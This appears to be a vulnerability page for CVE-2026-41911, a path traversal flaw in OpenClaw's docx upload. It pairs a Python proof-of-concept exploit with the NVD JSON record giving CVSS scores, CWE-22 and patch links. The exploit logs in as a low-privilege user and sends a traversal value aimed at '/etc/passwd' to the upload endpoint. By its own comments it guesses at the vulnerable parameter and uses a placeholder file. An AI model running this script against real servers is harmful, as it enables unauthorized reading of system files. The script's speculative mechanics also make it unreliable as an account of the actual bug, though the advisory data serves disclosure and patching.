CVE-2026-41911

import requests def exploit_openclaw(target, username, password): """ PoC for CVE-2026-41911: OpenClaw Filesystem Policy Bypass Attempts to read a file outside the workspace via docx upload. """ session = requests.Session() # Step 1: Authenticate as a low-privilege user login_url = f"{target}/login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # Step 2: Prepare the exploit payload # The vulnerability lies in the 'docx upload processing'. # We attempt to upload a file while manipulating the path to escape the workspace. upload_url = f"{target}/api/upload_file" # In a real scenario, the docx might contain malicious XML relationships pointing to external files, # or the endpoint might accept a path parameter vulnerable to traversal. # This PoC simulates sending a request with a traversal sequence in the path. payload_filename = "../../../etc/passwd" # Create a dummy docx file (just a placeholder) files = { 'file': ('malicious.docx', b'PK[...]', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') } data = { 'destination_path': payload_filename # Vulnerable parameter assumption } # Step 3: Send the request response = session.post(upload_url, files=files, data=data) # Step 4: Verify leakage if response.status_code == 200 and "root:" in response.text: return True, "Successfully leaked /etc/passwd" return False, "Exploit failed" # Usage example # exploit_openclaw("http://target.com", "user", "pass")

{"cve": {"id": "CVE-2026-41911", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:44.833", "lastModified": "2026-04-30T19:38:38.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains a filesystem policy bypass vulnerability in docx upload processing that allows local file reads outside workspace boundaries. Attackers can exploit upload_file and upload_image endpoints to access files beyond the intended workspace-only filesystem policy."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5fc7-f62m-8983", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-workspace-only-filesystem-policy-bypass-via-docx-upload-file-upload-image", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}